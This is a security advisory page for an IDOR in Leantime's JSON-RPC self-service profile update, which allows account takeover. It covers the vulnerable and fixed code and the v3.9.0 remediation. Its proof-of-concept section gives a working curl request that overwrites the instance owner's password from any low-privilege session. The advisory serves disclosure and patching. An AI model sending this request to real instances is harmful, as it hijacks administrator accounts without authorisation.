GHSA-5447-PHQ9-QJMM
Account takeover via IDOR in self-service profile update (any authenticated user can change another user's password)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-5447-PHQ9-QJMM divulgada · CVSS 8.8 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
Leantime exposes its application services over a JSON-RPC endpoint at `POST /api/jsonrpc`. The self-service profile-update method, reachable as `leantime.rpc.users.users.editOwn`, accepts an `id` parameter that identifies which user record to update. Over the JSON-RPC path this `id` is taken directly from the request body and passed to the database write without ever being checked against the caller's session.
As a result, any authenticated user can update any other user's profile, including their password. Because the update writes a new bcrypt password hash whenever a `password` value is supplied, an attacker can set a known password on any account, including the owner or an administrator, and then log in as that user. This is a full account takeover reachable by the lowest-privilege role in the product.
The web UI is not affected: the HTTP controller for the same action hardcodes the acting user to the session id. Only the JSON-RPC path, which resolves the service from the container and invokes the method directly, bypasses that control.
Details
The two code paths diverge on where `id` comes from
The browser-facing controller pins the record to the logged-in user and ignores anything the client might supply:
`app/Domain/Users/Controllers/EditOwn.php`
// The user id is taken from the session, not from the request.
$this->userId = session('userdata.id');The JSON-RPC path does not go through that controller. The dispatcher resolves the `Users` service from the container and calls the method with the parameters from the request body. In the vulnerable releases the service simply forwards the supplied `id`:
`app/Domain/Users/Services/Users.php` (v3.8.0)
public function editOwn($values, $id): void
{
$this->userRepo->editOwn($values, $id);
$user = $this->getUser($id);
$this->authService->setUserSession($user);
self::dispatch_event('editUser', ['id' => $id, 'values' => $values]);
}The repository writes the row identified by that `id`, and sets a freshly hashed password when a `password` value is present:
`app/Domain/Users/Repositories/Users.php`
public function editOwn($values, $id): void
{
$updateData = [
'lastname' => $values['lastname'],
'firstname' => $values['firstname'],
'username' => $values['user'],
'phone' => $values['phone'],
'notifications' => $values['notifications'],
'modified' => now(),
];
if (isset($values['password']) && $values['password'] != '') {
$updateData['password'] = password_hash($values['password'], PASSWORD_DEFAULT);
}
$this->connection->table('zp_user')
->where('id', $id)
->update($updateData);
}Nothing between the request and the `WHERE id = $id` write compares `$id` to the authenticated user. The JSON-RPC endpoint performs no per-method authorization in the affected releases, so the read-only role can reach the method just as an admin can.
Why this is distinct from the other Leantime issues
`editOwn` is the *self-service* method: it is meant to let a user edit only their own profile, and the browser flow enforces that by pinning the id to the session. The vulnerability is that the JSON-RPC surface lets the caller choose the id. That is a different defect from role escalation in the administrative `editUser`/`addUser` methods (which take an id by design and are gated by an admin permission), and different again from the `getUser` read disclosure. This advisory is scoped only to the self-service password-overwrite takeover.
Proof of concept
Preconditions: any working Leantime login. A freshly self-registered or invited low-privilege user is sufficient. The steps below take over the instance owner (user id 1 in a default install).
- Authenticate as any user and obtain a session cookie.
- Overwrite the target user's password by calling `editOwn` with the victim's id:
curl -s "$BASE/api/jsonrpc" \
-H "Content-Type: application/json" \
-H "Cookie: $ATTACKER_SESSION" \
-d '{
"jsonrpc": "2.0",
"method": "leantime.rpc.users.users.editOwn",
"params": {
"values": {
"firstname": "Owner",
"lastname": "Account",
"user": "owner@example.com",
"phone": "",
"notifications": 1,
"password": "AttackerKnows1!"
},
"id": 1
},
"id": 1
}'- Log in through the normal login form as `owner@example.com` with `AttackerKnows1!`. The attacker now controls the owner account.
Notes:
- The `user` field must be set to the victim's existing email so the account remains loginable under its known address. Supplying a different value simply rewrites the victim's login email as well, which is an equally effective (and noisier) takeover.
- `password` is optional to the endpoint but is what turns a profile edit into a credential takeover.
Impact
Any authenticated user, including the lowest-privilege read-only role, can:
- Set a known password on any other account, including administrators and the instance owner, and log in as that user.
- Lock the legitimate user out by changing their login email and password.
Because the owner/admin can be taken over from a read-only account, this collapses the entire authorization model of the instance: an attacker who can obtain any login (self-registration, an invited guest, a low-tier teammate) can reach full administrative control.
Remediation
Fixed in v3.9.0. The service method now discards the caller-supplied id and pins the write to the session user:
public function editOwn($values, $id): void
{
// Self-service: pin to the authenticated user (ignore any caller-supplied id).
$id = (int) session('userdata.id');
...
}Users on 3.8.0 or earlier should upgrade to 3.9.0 or later. There is no configuration workaround for affected versions short of blocking the `editOwn` method at a proxy, because the endpoint does not distinguish self-edits from cross-account edits before the write.
Credit
Louis Sanchez (Voke Cyber).
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistleantime/leantime |
Corregida | 3.9.0 | — | — |
3.9.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/Leantime/leantime/security/advisories/GHSA-5447-phq9-qjmmLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
